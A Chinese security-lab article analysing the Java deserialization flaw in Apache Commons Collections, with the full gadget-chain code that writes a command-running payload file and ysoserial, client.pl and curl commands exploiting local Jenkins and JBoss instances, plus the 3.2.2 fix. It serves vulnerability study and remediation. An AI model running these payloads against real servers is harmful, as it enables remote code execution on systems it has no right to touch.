代码审计丨Java 反序列化任意代码执行漏洞分析与利用

2017-08-02 159064人围观 资讯

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

悬镜-一站式“云+端”服务器防黑加固践行者

 

 7.png

前言:这篇文章是很久之前的了,但里面有一些思想还是值得我们学习和借鉴的,拿来和各位看官们分享。

2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告3,报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。

同年11月6日,FoxGlove Security安全团队的@breenmachine在一篇博客中2介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

距离漏洞发布已经有了一年多的时间,仍然有很多网站仍未修复漏洞。

1.漏洞原理

1.1 Java序列化与反序列化

简单的说,把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。

Java序列化的目的是为了将某些对象存储到磁盘上,从而长期保存,例如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

或者当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。

发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。

一个序列化与反序列化的典型场景如下:

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class deserial {

public static void main(String args[]) throws Exception {

String obj = "hello world!";

<pre><code>    

// 将序列化对象写入文件object.db中

FileOutputStream fos = new FileOutputStream("object.db");

ObjectOutputStream os = new ObjectOutputStream(fos);

os.writeObject(obj);

os.close();

// 从文件object.db中读取数据

FileInputStream fis = new FileInputStream("object.db");

ObjectInputStream ois = new ObjectInputStream(fis);

// 通过反序列化恢复对象obj

String obj2 = (String)ois.readObject();

System.out.println(obj2);

ois.close();

}
</code></pre
}

1.2Java 反序列化漏洞

Java 反序列化漏洞的核心在于,由于Java中的类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

在反序列化的时候不需要指定原来的数据类型即可进行反序列化。如下代码仍可以执行:

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class deserial {

public static void main(String args[]) throws Exception {

String obj = "hello world!";

// 将序列化对象写入文件object.db中

FileOutputStream fos = new FileOutputStream("object.db");

ObjectOutputStream os = new ObjectOutputStream(fos);

os.writeObject(obj);

os.close();

// 从文件object.db中读取数据

FileInputStream fis = new FileInputStream("object.db");

ObjectInputStream ois = new ObjectInputStream(fis);

// 通过反序列化恢复对象obj

Object obj2 = ois.readObject();

System.out.println(obj2);

ois.close();

}

}

那么对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

反序列漏洞由来已久,PHP 和 Python 中也有同样的问题,而在 Java 中问题比较严重的原因是因为一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。

WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。

但是该漏洞的根源并不在于公共库,而是在于 Java 没有对反序列化生成的对象的类型做限制。

正如某些评论所说:

0.png

1.3漏洞利用原理

该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。

1.3.1 InvokerTransformer.transform()实现程序执行

问题函数主要出现在org.apache.commons.collections.Transformer,我们可以看到Transformer接口定义了一个方法。

public interface Transformer {

<pre><code>/**

* Transforms the input object (leaving it unchanged) into some output object.

 *

* @param input  the object to be transformed, should be left unchanged

* @return a transformed object

* @throws ClassCastException (runtime) if the input is the wrong class

* @throws IllegalArgumentException (runtime) if the input is invalid

* @throws FunctorException (runtime) if the transform cannot be completed

*/

public Object transform(Object input);

</code></pre>

}

<code>       该接口的作用是给定一个 Object 进行 transform 变换后返回新的 Object,我们看它的实现类:

![](http://i1.piimg.com/567571/08a0898c8e213f96.png)
   其中接口的实现类InvokerTransformer的实现存在问题,我们看该类的transform 函数代码实现:</code>
/**

* Transforms the input to result by invoking a method on the input.

*

* @param input the input object to transform

* @return the transformed result, null if null input

*/

public Object transform(Object input) {

if (input == null) {

return null;

}

try {

Class cls = input.getClass();

Method method = cls.getMethod(iMethodName, iParamTypes);

return method.invoke(input, iArgs);

<pre><code>} catch (NoSuchMethodException ex) {

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");

} catch (IllegalAccessException ex) {

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");

} catch (InvocationTargetException ex) {

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);

}

</code></pre>

}

发现它可以用反射的方法进行函数调用input 对象的 iMethodName 函数,参数为 iArgs。同时可以看到它的这三个参数都是在构造函数中设置的,均为可控参数。

1.3.2 TransformedMap.checkSetValue()->InvokerTransformer.transform()

我们知道InvokerTransformer这个类的 transformer 函数可以用来执行任意代码,我们需要找调用这个函数的位置。

1.png

我们看TransformedMap.checkSetValue()的函数定义如下:

/**

* Override to transform the value when using <code>setValue</code>.

*

* @param value the value to transform

* @return the transformed value

* @since Commons Collections 3.1

*/

protected Object checkSetValue(Object value) {

return valueTransformer.transform(value);

}

我们在 eclipse 中查看它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue() 调用:

/**

* Implementation of a map entry that checks additions via setValue.

*/

static class MapEntry extends AbstractMapEntryDecorator {

<pre><code>    /** The parent map */

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
}

public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
}

</code></pre>

}

在MapEntry.setValue() 中对 parent 进行了 checkSetValue AbstractInputCheckedMapDecorator 类型的parent 是在构造函数中进行设置的。

TransformedMap是AbstractInputCheckedMapDecorator 的一个子类,只要将 parent 设置为恶意的对象即可。

这样如果我们在序列化TransformedMap时指定了恶意的 InvokeTransformer 那么在MapEntry 执行 setValue 调用的时候,就会触发我们的 InvokeTransformer 中设置的恶意代码。

例如以下例子:

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

public class deserial {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {

String.class, Class[].class }, new Object[] {

"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {

Object.class, Object[].class }, new Object[] {

null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {

String.class }, new Object[] {"calc.exe"})};

<pre><code>    Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("foobar");

}

</code></pre>

}

1.3.4 AnnotationInvocationHandler.readObject()->MapEntry.setValue()

但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。

我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,同时它在 readObject 中对每一项 memberValue 都调用了 setValue,如下所示:

我们可以看到在 AnnotationInvocationHandler类的 readObject 函数中刚好有一个元素memberTypes,被调用了 setValue()方法,因此只需要构造一个 TransformedMap ,将它的 transformer 设置为 InvokeTransformer,然后将其用反射封装为一个AnnotationInvocationHandler类的对象。

那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler。

生成 Payload 的一种方法如下:

import java.io.File;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.util.HashMap;

import java.util.Map;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

public class deserial {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {

String.class, Class[].class }, new Object[] {

"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {

Object.class, Object[].class }, new Object[] {

null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {

String.class }, new Object[] {"calc.exe"})};

<pre><code>    Transformer transformedChain = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<String, String>();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();

}
</code></pre>
}

2.漏洞利用实例

针对 java 反序列化漏洞,国外有黑客已经写了开源的漏洞利用工具ysoserial ,国内也有大神根据该工具制作了 Jenkin 的利用工具。

2.1 Jenkins1.514漏洞利用

首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。

我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。

2.1.1 检查 ClassPath

确定了反序列化输入点后,再查看ClassPath 是否有 ApacheCommonsCollections 库

grep -R "InvokerTransformer" ~/.jenkins

2.png

2.1.2 利用国内的漏洞利用工具利用

我们使用国内的某Jenkins 漏洞利用工具进行漏洞利用。

./client.pl --url http://127.0.0.1:8080/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'

3.png

我们可以看到漏洞利用成功

2.1.3 服务器日志

对于低版本的 Jenkins 我们发现在触发漏洞的时候,服务器报异常。

4.png

对于最新版本的2.7.3的 Jenkins则无法成功。

5.png

2.2 Jboss6.0.0.Final攻击

2.2.1 生成 payload

使用ysoserial生成 payload,如下:

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/hacked' > payload.bin

2.2.2 用 curl 发送 payload:

curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://127.0.0.1:8080/invoker/JMXInvokerServlet

6.png

可以看到/tmp/hacked 被创建

7.png

但是目前存在的问题是其他有的指令无法执行。

3.漏洞修复

ApacheCommonsCollections在3.2.2中修复了漏洞。对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。

涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。

例如 InvokerTransformer 中,如果对该对象序列化,则会报异常。

/**

* Overrides the default writeObject implementation to prevent

* serialization (see COLLECTIONS-580).

*/

private void writeObject(ObjectOutputStream os) throws IOException {

FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);

os.defaultWriteObject();

}

/**

* Overrides the default readObject implementation to prevent

* de-serialization (see COLLECTIONS-580).

*/

private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {

FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);

is.defaultReadObject();

}

参考资料

本文为悬镜安全实验室原创文章,如需转载请标注:http://www.xmirror.cn/

悬镜安全实验室是北京安普诺旗下强大而又专业的安全团队,实验室核心成员来自北京大学信息安全实验室,具有多年的漏洞挖掘、逆向分析、机器学习等核心技能。

目前,实验室主要职责是前沿安全技术研究和为企业客户提供专业的安全服务和安全咨询,主要包括基于深度学习的Web威胁检测引擎研究、恶意样本分析、高级渗透测试服务、主机安全巡检服务、应急响应服务、服务器防黑加固服务等方面的安全工作。

如果您的企业需要安全加固,主机加固相关的服务需求,可以联系我们。

电话咨询:010-89029979

d3hfZm10PXBuZw==

相关推荐
取消
Loading...

特别推荐

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php